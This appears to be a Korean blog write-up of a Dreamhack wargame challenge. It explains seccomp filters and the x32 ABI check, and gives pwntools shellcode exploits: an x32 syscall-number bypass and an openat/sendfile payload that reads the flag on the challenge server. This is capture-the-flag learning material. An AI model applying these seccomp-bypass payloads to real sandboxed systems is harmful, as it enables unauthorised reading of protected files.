"seccomp-tools dump [파일경로]" 를 통해 특정 바이너리의 seccomp 규칙 확인 가능
// 아키텍처 x86-64 아니면 KILL
// system call 번호가 0x40000000 미만이면, 그것이 write, open, execve, execveat 과 같은지 비교, 같으면 KILL
cf) 왜 A < 0x40000000 검사 코드 존재?
- x86-64와 x32, 두 개의 ABI(Application Binary Interface, 바이너리 수준에서의 인터페이스)는 같은 프로세서에서 동작
- x86-64에서는 32 비트 명령어를 호환할 수 있음
- SECCOMP에서 아키텍처를 명시할 때 AUDIT_ARCH_X86_64라는 매크로 사용. 리눅스 커널에서 x86-64와 x32를 동시에 일컫는 아키텍처 필드명임
- 리눅스 커널에서 시스템 콜을 호출할 때, syscall과 register를 do_syscall_x64 전달해 호출(x86-64 ABI 이용)하고, 실패 시 do_syscall_x32를 호출(x32 ABI) => 호환성!
- 리눅스 커널은 x86_64 ABI인지 x32 ABI인지 구별하기 위해 시스템 콜 번호에 특정 값(0x40000000)을 더해 다르게 함
- do_syscall_x32 함수 코드를 살펴보면 호출하려는 syscall에서 특정 매크로 값을 뺀 콜 번호를 사용함
static __always_inline bool do_syscall_x32(struct pt_regs *regs, int nr)
{
// __X32_SYSCALL_BIT = 0x40000000
unsigned int xnr = nr - __X32_SYSCALL_BIT;
...
=> SECCOMP는 A<0x40000000 검사코드를 통해 x32 ABI를 이용한 syscall을 막는거지
cf) 해당 비교 없이 DENY_LIST만 있을 때?
- 타 시스템 콜에 의존하지 않는(내부적으로 타 시스템 콜 일어나지 않는) read, write, open만 이용해 exploit 가능
- x86_64 ABI에서의 syscall은 불가능하지만 0x40000000을 OR함으로써 x32 ABI에서 가능함!
# 32bit compatibility를 이용한 exploit
payload = shellcraft.open('./flag').replace('pop rax', 'pop rax\nor rax, 0x40000000')
payload += shellcraft.write(1, 'rax', 0x30).replace('pop rax', 'pop rax\nor rax, 0x40000000')
p.sendline(asm(payload))
다시 풀이로 돌아와서...
x32 compatibility가 막혀있기 때문에 open/write을 대체할 syscall을 찾아야함
https://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/
open 대신 openat
int openat(int dirfd, const char *pathname, int flags, mode_t mode);
- If pathname is absolute, then dirfd is ignored.
write 대신 sendfile
ssize_t sendfile(int out_fd, int in_fd, off_t *offset, size_t count);
syscall 시 레지스터 구성
call 종류는 %rax, 인자 종류는 %rdi, %rsi, %rdx, %r10, %r8, %r9 순서
/tmp/flag를 읽는 예제코드
from pwn import *
context(arch='x86_64', os="linux") # 혹은 'amd64'도 가능
p = process("./bypass_seccomp")
shellcode = shellcraft.openat(0, "/tmp/flag") # openat(0, "/tmp/flag", 0, 0)
shellcode += shellcraft.sendfile(1, 'rax', 0, 0xff) # .replace('xor r10d, r10d','') 생략해도 되더라 인자 4개면, sendfile(stdout, fd, 0, 0xffff)
shellcode += shellcraft.exit(0) # exit(0)
p.sendline(asm(shellcode))
p.interactive()
원격서버에서도 비슷하게 진행하면 됨.
flag 파일의 절대경로를 찾아야했는데, dockerfile에 해당 정보가 적혀있었다
ENV user bypass_seccomp
ADD ./flag /home/$user/flag
from pwn import *
context(arch="x86_64", os="linux")
# p = process("./bypass_seccomp")
p = remote("host3.dreamhack.games", 19570)
payload = shellcraft.openat(0, "/home/bypass_seccomp/flag")
payload += shellcraft.sendfile(1, 'rax', 0, 0xff)
payload += shellcraft.exit(0)
p.sendline(asm(payload))
p.interactive()
끗!
'security > 포너블 - dreamhack' 카테고리의 다른 글
Dockerfile을 이용해 CTF 문제 환경 구성하기 (2) | 2023.06.19 |
---|---|
[Dreamhack Wargame] seccomp (0) | 2023.06.18 |
[Dreamhack Wargame] validator (0) | 2023.06.16 |
pwn 강좌 메모 (0) | 2023.06.15 |
[Dreamhack Wargame] Cat-Jump (0) | 2023.06.15 |